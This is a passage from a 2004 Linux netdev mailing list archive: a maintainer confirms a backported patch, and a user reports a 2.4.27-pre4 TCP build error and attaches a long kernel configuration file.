davem@redhat.com Sun May 30 16:59:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 16:59:34 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UNxOgi015224 for ; Sun, 30 May 2004 16:59:25 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4UNxNi5021091; Sun, 30 May 2004 19:59:24 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4UNxN008547; Sun, 30 May 2004 19:59:23 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4UNxG3N001984; Sun, 30 May 2004 19:59:16 -0400 Date: Sun, 30 May 2004 16:59:06 -0700 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com Subject: Re: [PATCH]: Fix off-by-one in max protocol-type check Message-Id: <20040530165906.206167f5.davem@redhat.com> In-Reply-To: <40BA7111.7030307@trash.net> References: <40B71A1C.5080400@trash.net> <40B71ABD.5060600@trash.net> <20040529123829.10778ffe.davem@redhat.com> <40BA7111.7030307@trash.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5489 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 31 May 2004 01:41:05 +0200 Patrick McHardy wrote: > Judging from 2.4.27-pre4 changelog, you forgot to apply this > patch to 2.4. Patch from 2.6 attached, it applies with some > offset. Good catch, applied to 2.4.x now too. Thanks. From bryan@nerdvest.com Sun May 30 20:36:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 20:36:50 -0700 (PDT) Received: from impact.colo.mv.net (impact.colo.mv.net [199.125.75.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4V3ahgi019554 for ; Sun, 30 May 2004 20:36:43 -0700 Received: from nerdvest.com (216-161-123-227.desm.qwest.net [216.161.123.227]) (authenticated) by impact.colo.mv.net (8.11.6/8.11.6) with ESMTP id i4V3aOD20911; Sun, 30 May 2004 23:36:25 -0400 Message-ID: <40BAA82A.4040105@nerdvest.com> Date: Sun, 30 May 2004 22:36:10 -0500 From: Bryan Andersen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: Marcelo Tosatti , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Linux 2.4.27-pre4 References: <20040530205602.GA18637@logos.cnet> In-Reply-To: <20040530205602.GA18637@logos.cnet> Content-Type: multipart/mixed; boundary="------------020504030500080600010101" X-archive-position: 5490 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bryan@nerdvest.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------020504030500080600010101 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Error in ipv4 net code, config attached. gcc-3.2 -D__KERNEL__ -I/usr/src/linux-2.4.27-pre4/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=athlon -nostdinc -iwithprefix include -DKBUILD_BASENAME=tcp_input -c -o tcp_input.o tcp_input.c tcp_input.c: In function `tcp_rcv_space_adjust': tcp_input.c:479: structure has no member named `sk_rcvbuf' tcp_input.c:480: structure has no member named `sk_rcvbuf' make[3]: *** [tcp_input.o] Error 1 make[3]: Leaving directory `/usr/src/linux-2.4.27-pre4/net/ipv4' make[2]: *** [first_rule] Error 2 make[2]: Leaving directory `/usr/src/linux-2.4.27-pre4/net/ipv4' make[1]: *** [_subdir_ipv4] Error 2 make[1]: Leaving directory `/usr/src/linux-2.4.27-pre4/net' make: *** [_dir_net] Error 2 - Bryan Marcelo Tosatti wrote: > Hi, > > Here goes 2.4.27-pre4. > > It contains a TCP update (backporting some 2.6.x work), XFS/JFS updates, > some architecture updates, driver fixes, the usual... > > Please read the detailed changelog for details > > Summary of changes from v2.4.27-pre3 to v2.4.27-pre4 --------------020504030500080600010101 Content-Type: text/plain; name="config" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="config" # # Automatically generated make config: don't edit # CONFIG_X86=y # CONFIG_SBUS is not set CONFIG_UID16=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y # # Loadable module support # CONFIG_MODULES=y CONFIG_MODVERSIONS=y CONFIG_KMOD=y # # Processor type and features # # CONFIG_M386 is not set # CONFIG_M486 is not set # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set CONFIG_MK7=y # CONFIG_MK8 is not set # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set # CONFIG_MVIAC3_2 is not set CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y # CONFIG_RWSEM_GENERIC_SPINLOCK is not set CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_X86_HAS_TSC=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_USE_3DNOW=y CONFIG_X86_PGE=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_F00F_WORKS_OK=y CONFIG_X86_MCE=y # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set CONFIG_X86_MSR=m CONFIG_X86_CPUID=m # CONFIG_EDD is not set CONFIG_NOHIGHMEM=y # CONFIG_HIGHMEM4G is not set # CONFIG_HIGHMEM64G is not set # CONFIG_HIGHMEM is not set # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_SMP is not set CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y # CONFIG_X86_TSC_DISABLE is not set CONFIG_X86_TSC=y # # General setup # CONFIG_NET=y CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y CONFIG_ISA=y CONFIG_PCI_NAMES=y CONFIG_EISA=y CONFIG_MCA=y CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set # # PCI Hotplug Support # # CONFIG_HOTPLUG_PCI is not set # CONFIG_HOTPLUG_PCI_COMPAQ is not set # CONFIG_HOTPLUG_PCI_COMPAQ_NVRAM is not set # CONFIG_HOTPLUG_PCI_IBM is not set # CONFIG_HOTPLUG_PCI_ACPI is not set # CONFIG_HOTPLUG_PCI_SHPC is not set # CONFIG_HOTPLUG_PCI_SHPC_POLL_EVENT_MODE is not set # CONFIG_HOTPLUG_PCI_PCIE is not set # CONFIG_HOTPLUG_PCI_PCIE_POLL_EVENT_MODE is not set CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_KCORE_ELF=y # CONFIG_KCORE_AOUT is not set CONFIG_BINFMT_AOUT=y CONFIG_BINFMT_ELF=y CONFIG_BINFMT_MISC=y # CONFIG_OOM_KILLER is not set CONFIG_PM=y # CONFIG_APM is not set # # ACPI Support # CONFIG_ACPI=y CONFIG_ACPI_BOOT=y CONFIG_ACPI_BUS=y CONFIG_ACPI_INTERPRETER=y CONFIG_ACPI_EC=y CONFIG_ACPI_POWER=y CONFIG_ACPI_PCI=y CONFIG_ACPI_MMCONFIG=y CONFIG_ACPI_SLEEP=y CONFIG_ACPI_SYSTEM=y # CONFIG_ACPI_AC is not set # CONFIG_ACPI_BATTERY is not set # CONFIG_ACPI_BUTTON is not set CONFIG_ACPI_FAN=m CONFIG_ACPI_PROCESSOR=m CONFIG_ACPI_THERMAL=m # CONFIG_ACPI_ASUS is not set # CONFIG_ACPI_TOSHIBA is not set CONFIG_ACPI_DEBUG=y # # Memory Technology Devices (MTD) # # CONFIG_MTD is not set # # Parallel port support # CONFIG_PARPORT=y CONFIG_PARPORT_PC=y CONFIG_PARPORT_PC_CML1=y # CONFIG_PARPORT_SERIAL is not set CONFIG_PARPORT_PC_FIFO=y # CONFIG_PARPORT_PC_SUPERIO is not set # CONFIG_PARPORT_PC_PCMCIA is not set # CONFIG_PARPORT_AMIGA is not set # CONFIG_PARPORT_MFC3 is not set # CONFIG_PARPORT_ATARI is not set # CONFIG_PARPORT_GSC is not set # CONFIG_PARPORT_SUNBPP is not set # CONFIG_PARPORT_IP22 is not set # CONFIG_PARPORT_OTHER is not set CONFIG_PARPORT_1284=y # # Plug and Play configuration # CONFIG_PNP=y CONFIG_ISAPNP=y # # Block devices # CONFIG_BLK_DEV_FD=y # CONFIG_BLK_DEV_PS2 is not set # CONFIG_BLK_DEV_XD is not set # CONFIG_PARIDE is not set # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_CISS_SCSI_TAPE is not set # CONFIG_CISS_MONITOR_THREAD is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set # CONFIG_BLK_DEV_CARMEL is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_BLK_DEV_INITRD=y CONFIG_BLK_STATS=y # # Multi-device support (RAID and LVM) # CONFIG_MD=y CONFIG_BLK_DEV_MD=y CONFIG_MD_LINEAR=m CONFIG_MD_RAID0=m CONFIG_MD_RAID1=y CONFIG_MD_RAID5=m CONFIG_MD_MULTIPATH=m CONFIG_BLK_DEV_LVM=m # # Networking options # CONFIG_PACKET=y # CONFIG_PACKET_MMAP is not set # CONFIG_NETLINK_DEV is not set # CONFIG_NETFILTER is not set CONFIG_FILTER=y CONFIG_UNIX=y CONFIG_INET=y CONFIG_IP_MULTICAST=y # CONFIG_IP_ADVANCED_ROUTER is not set # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE is not set # CONFIG_IP_MROUTE is not set # CONFIG_ARPD is not set # CONFIG_INET_ECN is not set # CONFIG_SYN_COOKIES is not set # CONFIG_IPV6 is not set CONFIG_KHTTPD=m # # SCTP Configuration (EXPERIMENTAL) # # CONFIG_IP_SCTP is not set # CONFIG_ATM is not set # CONFIG_VLAN_8021Q is not set # # # # CONFIG_IPX is not set # CONFIG_ATALK is not set # # Appletalk devices # # CONFIG_DEV_APPLETALK is not set # CONFIG_DECNET is not set # CONFIG_BRIDGE is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_LLC is not set # CONFIG_NET_DIVERT is not set # CONFIG_ECONET is not set # CONFIG_WAN_ROUTER is not set # CONFIG_NET_FASTROUTE is not set # CONFIG_NET_HW_FLOWCONTROL is not set # # QoS and/or fair queueing # CONFIG_NET_SCHED=y CONFIG_NET_SCH_CBQ=m CONFIG_NET_SCH_HTB=m CONFIG_NET_SCH_CSZ=m CONFIG_NET_SCH_HFSC=m CONFIG_NET_SCH_PRIO=m CONFIG_NET_SCH_RED=m CONFIG_NET_SCH_SFQ=m CONFIG_NET_SCH_TEQL=m CONFIG_NET_SCH_TBF=m CONFIG_NET_SCH_GRED=m # CONFIG_NET_SCH_DELAY is not set CONFIG_NET_SCH_DSMARK=m CONFIG_NET_QOS=y CONFIG_NET_ESTIMATOR=y CONFIG_NET_CLS=y CONFIG_NET_CLS_TCINDEX=m CONFIG_NET_CLS_ROUTE4=m CONFIG_NET_CLS_ROUTE=y CONFIG_NET_CLS_FW=m CONFIG_NET_CLS_U32=m CONFIG_NET_CLS_RSVP=m CONFIG_NET_CLS_RSVP6=m CONFIG_NET_CLS_POLICE=y # # Network testing # # CONFIG_NET_PKTGEN is not set # # Telephony Support # # CONFIG_PHONE is not set # CONFIG_PHONE_IXJ is not set # CONFIG_PHONE_IXJ_PCMCIA is not set # # ATA/IDE/MFM/RLL support # CONFIG_IDE=y # # IDE, ATA and ATAPI Block devices # CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set # CONFIG_BLK_DEV_HD is not set CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y # CONFIG_IDEDISK_STROKE is not set # CONFIG_BLK_DEV_IDECS is not set CONFIG_BLK_DEV_IDECD=y CONFIG_BLK_DEV_IDETAPE=m CONFIG_BLK_DEV_IDEFLOPPY=m CONFIG_BLK_DEV_IDESCSI=y # CONFIG_IDE_TASK_IOCTL is not set # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_CMD640_ENHANCED is not set # CONFIG_BLK_DEV_ISAPNP is not set CONFIG_BLK_DEV_IDEPCI=y # CONFIG_BLK_DEV_GENERIC is not set CONFIG_IDEPCI_SHARE_IRQ=y CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_OFFBOARD is not set # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_PCI_WIP is not set # CONFIG_BLK_DEV_ADMA100 is not set # CONFIG_BLK_DEV_AEC62XX is not set # CONFIG_BLK_DEV_ALI15X3 is not set # CONFIG_WDC_ALI15X3 is not set CONFIG_BLK_DEV_AMD74XX=y CONFIG_AMD74XX_OVERRIDE=y # CONFIG_BLK_DEV_ATIIXP is not set # CONFIG_BLK_DEV_CMD64X is not set # CONFIG_BLK_DEV_TRIFLEX is not set # CONFIG_BLK_DEV_CY82C693 is not set # CONFIG_BLK_DEV_CS5530 is not set # CONFIG_BLK_DEV_HPT34X is not set # CONFIG_HPT34X_AUTODMA is not set # CONFIG_BLK_DEV_HPT366 is not set # CONFIG_BLK_DEV_PIIX is not set # CONFIG_BLK_DEV_NS87415 is not set # CONFIG_BLK_DEV_OPTI621 is not set # CONFIG_BLK_DEV_PDC202XX_OLD is not set # CONFIG_PDC202XX_BURST is not set CONFIG_BLK_DEV_PDC202XX_NEW=y CONFIG_PDC202XX_FORCE=y # CONFIG_BLK_DEV_RZ1000 is not set # CONFIG_BLK_DEV_SC1200 is not set # CONFIG_BLK_DEV_SVWKS is not set # CONFIG_BLK_DEV_SIIMAGE is not set # CONFIG_BLK_DEV_SIS5513 is not set # CONFIG_BLK_DEV_SLC90E66 is not set # CONFIG_BLK_DEV_TRM290 is not set # CONFIG_BLK_DEV_VIA82CXXX is not set # CONFIG_IDE_CHIPSETS is not set CONFIG_IDEDMA_AUTO=y # CONFIG_IDEDMA_IVB is not set # CONFIG_DMA_NONPCI is not set CONFIG_BLK_DEV_PDC202XX=y # CONFIG_BLK_DEV_ATARAID is not set # CONFIG_BLK_DEV_ATARAID_PDC is not set # CONFIG_BLK_DEV_ATARAID_HPT is not set # CONFIG_BLK_DEV_ATARAID_MEDLEY is not set # CONFIG_BLK_DEV_ATARAID_SII is not set # # SCSI support # CONFIG_SCSI=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=y CONFIG_SD_EXTRA_DEVS=40 # CONFIG_CHR_DEV_ST is not set # CONFIG_CHR_DEV_OSST is not set CONFIG_BLK_DEV_SR=y CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_SR_EXTRA_DEVS=2 CONFIG_CHR_DEV_SG=y # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # CONFIG_SCSI_DEBUG_QUEUES=y CONFIG_SCSI_MULTI_LUN=y CONFIG_SCSI_CONSTANTS=y # CONFIG_SCSI_LOGGING is not set # # SCSI low-level drivers # # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_7000FASST is not set # CONFIG_SCSI_ACARD is not set # CONFIG_SCSI_AHA152X is not set # CONFIG_SCSI_AHA1542 is not set # CONFIG_SCSI_AHA1740 is not set # CONFIG_SCSI_AACRAID is not set # CONFIG_SCSI_AIC7XXX is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_AIC7XXX_OLD is not set # CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_IN2000 is not set # CONFIG_SCSI_AM53C974 is not set # CONFIG_SCSI_MEGARAID is not set # CONFIG_SCSI_MEGARAID2 is not set CONFIG_SCSI_SATA=y CONFIG_SCSI_SATA_SVW=m CONFIG_SCSI_SATA_PROMISE=m CONFIG_SCSI_SATA_SX4=m CONFIG_SCSI_SATA_SIL=m CONFIG_SCSI_SATA_SIS=m CONFIG_SCSI_SATA_VIA=m CONFIG_SCSI_SATA_VITESSE=m # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_CPQFCTS is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_DTC3280 is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_EATA_DMA is not set # CONFIG_SCSI_EATA_PIO is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_FD_MCS is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_GENERIC_NCR5380 is not set # CONFIG_SCSI_IBMMCA is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set # CONFIG_SCSI_INIA100 is not set # CONFIG_SCSI_PPA is not set # CONFIG_SCSI_IMM is not set # CONFIG_SCSI_NCR53C406A is not set # CONFIG_SCSI_NCR_D700 is not set # CONFIG_SCSI_NCR53C7xx is not set # CONFIG_SCSI_SYM53C8XX_2 is not set # CONFIG_SCSI_NCR53C8XX is not set # CONFIG_SCSI_SYM53C8XX is not set # CONFIG_SCSI_MCA_53C9X is not set # CONFIG_SCSI_PAS16 is not set # CONFIG_SCSI_PCI2000 is not set # CONFIG_SCSI_PCI2220I is not set # CONFIG_SCSI_PSI240I is not set # CONFIG_SCSI_QLOGIC_FAS is not set # CONFIG_SCSI_QLOGIC_ISP is not set # CONFIG_SCSI_QLOGIC_FC is not set # CONFIG_SCSI_QLOGIC_1280 is not set # CONFIG_SCSI_SEAGATE is not set # CONFIG_SCSI_SIM710 is not set # CONFIG_SCSI_SYM53C416 is not set # CONFIG_SCSI_DC390T is not set # CONFIG_SCSI_T128 is not set # CONFIG_SCSI_U14_34F is not set # CONFIG_SCSI_ULTRASTOR is not set # CONFIG_SCSI_NSP32 is not set # CONFIG_SCSI_DEBUG is not set # # Fusion MPT device support # # CONFIG_FUSION is not set # CONFIG_FUSION_BOOT is not set # CONFIG_FUSION_ISENSE is not set # CONFIG_FUSION_CTL is not set # CONFIG_FUSION_LAN is not set # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # CONFIG_IEEE1394=m # # Device Drivers # # CONFIG_IEEE1394_PCILYNX is not set CONFIG_IEEE1394_OHCI1394=m # # Protocol Drivers # CONFIG_IEEE1394_VIDEO1394=m CONFIG_IEEE1394_SBP2=m CONFIG_IEEE1394_SBP2_PHYS_DMA=y # CONFIG_IEEE1394_ETH1394 is not set # CONFIG_IEEE1394_DV1394 is not set CONFIG_IEEE1394_RAWIO=m # CONFIG_IEEE1394_CMP is not set # CONFIG_IEEE1394_VERBOSEDEBUG is not set CONFIG_IEEE1394_OUI_DB=y # # I2O device support # CONFIG_I2O=y # CONFIG_I2O_PCI is not set # CONFIG_I2O_BLOCK is not set # CONFIG_I2O_LAN is not set # CONFIG_I2O_SCSI is not set # CONFIG_I2O_PROC is not set # # Network device support # CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set CONFIG_DUMMY=m # CONFIG_BONDING is not set # CONFIG_EQUALIZER is not set # CONFIG_TUN is not set # CONFIG_ETHERTAP is not set # CONFIG_NET_SB1000 is not set # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y # CONFIG_SUNLANCE is not set # CONFIG_HAPPYMEAL is not set # CONFIG_SUNBMAC is not set # CONFIG_SUNQE is not set # CONFIG_SUNGEM is not set CONFIG_NET_VENDOR_3COM=y # CONFIG_EL1 is not set # CONFIG_EL2 is not set # CONFIG_ELPLUS is not set # CONFIG_EL16 is not set # CONFIG_EL3 is not set # CONFIG_3C515 is not set # CONFIG_ELMC is not set # CONFIG_ELMC_II is not set CONFIG_VORTEX=y # CONFIG_TYPHOON is not set # CONFIG_LANCE is not set # CONFIG_NET_VENDOR_SMC is not set # CONFIG_NET_VENDOR_RACAL is not set # CONFIG_AT1700 is not set # CONFIG_DEPCA is not set # CONFIG_HP100 is not set # CONFIG_NET_ISA is not set # CONFIG_SKMC is not set # CONFIG_NE2_MCA is not set # CONFIG_IBMLANA is not set CONFIG_NET_PCI=y # CONFIG_PCNET32 is not set # CONFIG_AMD8111_ETH is not set # CONFIG_ADAPTEC_STARFIRE is not set # CONFIG_AC3200 is not set # CONFIG_APRICOT is not set # CONFIG_B44 is not set # CONFIG_CS89x0 is not set # CONFIG_TULIP is not set # CONFIG_DE4X5 is not set # CONFIG_DGRS is not set # CONFIG_DM9102 is not set # CONFIG_EEPRO100 is not set # CONFIG_EEPRO100_PIO is not set # CONFIG_E100 is not set # CONFIG_LNE390 is not set # CONFIG_FEALNX is not set # CONFIG_NATSEMI is not set # CONFIG_NE2K_PCI is not set CONFIG_FORCEDETH=y # CONFIG_NE3210 is not set # CONFIG_ES3210 is not set # CONFIG_8139CP is not set # CONFIG_8139TOO is not set # CONFIG_8139TOO_PIO is not set # CONFIG_8139TOO_TUNE_TWISTER is not set # CONFIG_8139TOO_8129 is not set # CONFIG_8139_OLD_RX_RESET is not set # CONFIG_SIS900 is not set # CONFIG_EPIC100 is not set # CONFIG_SUNDANCE is not set # CONFIG_SUNDANCE_MMIO is not set # CONFIG_TLAN is not set # CONFIG_VIA_RHINE is not set # CONFIG_VIA_RHINE_MMIO is not set # CONFIG_WINBOND_840 is not set # CONFIG_NET_POCKET is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_MYRI_SBUS is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set # CONFIG_R8169 is not set # CONFIG_SK98LIN is not set # CONFIG_TIGON3 is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_PLIP is not set # CONFIG_PPP is not set # CONFIG_SLIP is not set # # Wireless LAN (non-hamradio) # # CONFIG_NET_RADIO is not set # # Token Ring devices # # CONFIG_TR is not set # CONFIG_NET_FC is not set # CONFIG_RCPCI is not set # CONFIG_SHAPER is not set # # Wan interfaces # # CONFIG_WAN is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # # CONFIG_IRDA is not set # # ISDN subsystem # # CONFIG_ISDN is not set # # Old CD-ROM drivers (not SCSI, not IDE) # # CONFIG_CD_NO_IDESCSI is not set # # Input core support # # CONFIG_INPUT is not set # CONFIG_INPUT_KEYBDEV is not set # CONFIG_INPUT_MOUSEDEV is not set # CONFIG_INPUT_JOYDEV is not set # CONFIG_INPUT_EVDEV is not set # CONFIG_INPUT_UINPUT is not set # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_SERIAL=y # CONFIG_SERIAL_CONSOLE is not set # CONFIG_SERIAL_EXTENDED is not set # CONFIG_SERIAL_NONSTANDARD is not set CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 # CONFIG_PRINTER is not set # CONFIG_PPDEV is not set # CONFIG_TIPAR is not set # # I2C support # CONFIG_I2C=m CONFIG_I2C_ALGOBIT=m CONFIG_I2C_PHILIPSPAR=m CONFIG_I2C_ELV=m CONFIG_I2C_VELLEMAN=m # CONFIG_SCx200_I2C is not set CONFIG_SCx200_ACB=m CONFIG_I2C_ALGOPCF=m CONFIG_I2C_ELEKTOR=m CONFIG_I2C_CHARDEV=m CONFIG_I2C_PROC=m # # Mice # # CONFIG_BUSMOUSE is not set CONFIG_MOUSE=y CONFIG_PSMOUSE=y # CONFIG_82C710_MOUSE is not set # CONFIG_PC110_PAD is not set # CONFIG_MK712_MOUSE is not set # # Joysticks # # CONFIG_INPUT_GAMEPORT is not set # # Input core support is needed for gameports # # # Input core support is needed for joysticks # # CONFIG_QIC02_TAPE is not set # CONFIG_IPMI_HANDLER is not set # CONFIG_IPMI_PANIC_EVENT is not set # CONFIG_IPMI_DEVICE_INTERFACE is not set # CONFIG_IPMI_KCS is not set # CONFIG_IPMI_WATCHDOG is not set # # Watchdog Cards # # CONFIG_WATCHDOG is not set # CONFIG_SCx200 is not set # CONFIG_SCx200_GPIO is not set # CONFIG_AMD_RNG is not set # CONFIG_INTEL_RNG is not set CONFIG_HW_RANDOM=y # CONFIG_AMD_PM768 is not set # CONFIG_NVRAM is not set # CONFIG_RTC is not set # CONFIG_DTLK is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # CONFIG_SONYPI is not set # # Ftape, the floppy tape device driver # # CONFIG_FTAPE is not set CONFIG_AGP=m # CONFIG_AGP_INTEL is not set # CONFIG_AGP_I810 is not set # CONFIG_AGP_VIA is not set # CONFIG_AGP_AMD is not set # CONFIG_AGP_AMD_K8 is not set # CONFIG_AGP_SIS is not set # CONFIG_AGP_ALI is not set # CONFIG_AGP_SWORKS is not set CONFIG_AGP_NVIDIA=y # CONFIG_AGP_ATI is not set # # Direct Rendering Manager (XFree86 DRI support) # CONFIG_DRM=y # CONFIG_DRM_OLD is not set # # DRM 4.1 drivers # CONFIG_DRM_NEW=y # CONFIG_DRM_TDFX is not set # CONFIG_DRM_GAMMA is not set # CONFIG_DRM_R128 is not set # CONFIG_DRM_RADEON is not set # CONFIG_DRM_I810 is not set # CONFIG_DRM_I810_XFREE_41 is not set # CONFIG_DRM_I830 is not set # CONFIG_DRM_MGA is not set # CONFIG_DRM_SIS is not set # CONFIG_MWAVE is not set # CONFIG_OBMOUSE is not set # # Multimedia devices # CONFIG_VIDEO_DEV=m # # Video For Linux # CONFIG_VIDEO_PROC_FS=y CONFIG_I2C_PARPORT=m # # Video Adapters # CONFIG_VIDEO_BT848=m # CONFIG_VIDEO_PMS is not set # CONFIG_VIDEO_BWQCAM is not set # CONFIG_VIDEO_CQCAM is not set # CONFIG_VIDEO_W9966 is not set # CONFIG_VIDEO_CPIA is not set CONFIG_VIDEO_SAA5249=m CONFIG_TUNER_3036=m CONFIG_VIDEO_STRADIS=m CONFIG_VIDEO_ZORAN=m CONFIG_VIDEO_ZORAN_BUZ=m CONFIG_VIDEO_ZORAN_DC10=m # CONFIG_VIDEO_ZORAN_LML33 is not set # CONFIG_VIDEO_ZR36120 is not set # CONFIG_VIDEO_MEYE is not set # # Radio Adapters # # CONFIG_RADIO_CADET is not set # CONFIG_RADIO_RTRACK is not set # CONFIG_RADIO_RTRACK2 is not set # CONFIG_RADIO_AZTECH is not set # CONFIG_RADIO_GEMTEK is not set # CONFIG_RADIO_GEMTEK_PCI is not set # CONFIG_RADIO_MAXIRADIO is not set # CONFIG_RADIO_MAESTRO is not set # CONFIG_RADIO_MIROPCM20 is not set # CONFIG_RADIO_MIROPCM20_RDS is not set # CONFIG_RADIO_SF16FMI is not set # CONFIG_RADIO_SF16FMR2 is not set # CONFIG_RADIO_TERRATEC is not set # CONFIG_RADIO_TRUST is not set # CONFIG_RADIO_TYPHOON is not set # CONFIG_RADIO_ZOLTRIX is not set # # File systems # CONFIG_QUOTA=y # CONFIG_QFMT_V2 is not set # CONFIG_AUTOFS_FS is not set CONFIG_AUTOFS4_FS=y CONFIG_REISERFS_FS=m # CONFIG_REISERFS_CHECK is not set CONFIG_REISERFS_PROC_INFO=y # CONFIG_ADFS_FS is not set # CONFIG_ADFS_FS_RW is not set # CONFIG_AFFS_FS is not set CONFIG_HFS_FS=m CONFIG_HFSPLUS_FS=m # CONFIG_BEFS_FS is not set # CONFIG_BEFS_DEBUG is not set # CONFIG_BFS_FS is not set CONFIG_EXT3_FS=y CONFIG_JBD=y CONFIG_JBD_DEBUG=y CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_UMSDOS_FS=m CONFIG_VFAT_FS=m CONFIG_EFS_FS=m # CONFIG_JFFS_FS is not set # CONFIG_JFFS2_FS is not set CONFIG_CRAMFS=m CONFIG_TMPFS=y CONFIG_RAMFS=y CONFIG_ISO9660_FS=y CONFIG_JOLIET=y # CONFIG_ZISOFS is not set CONFIG_JFS_FS=m CONFIG_JFS_DEBUG=y 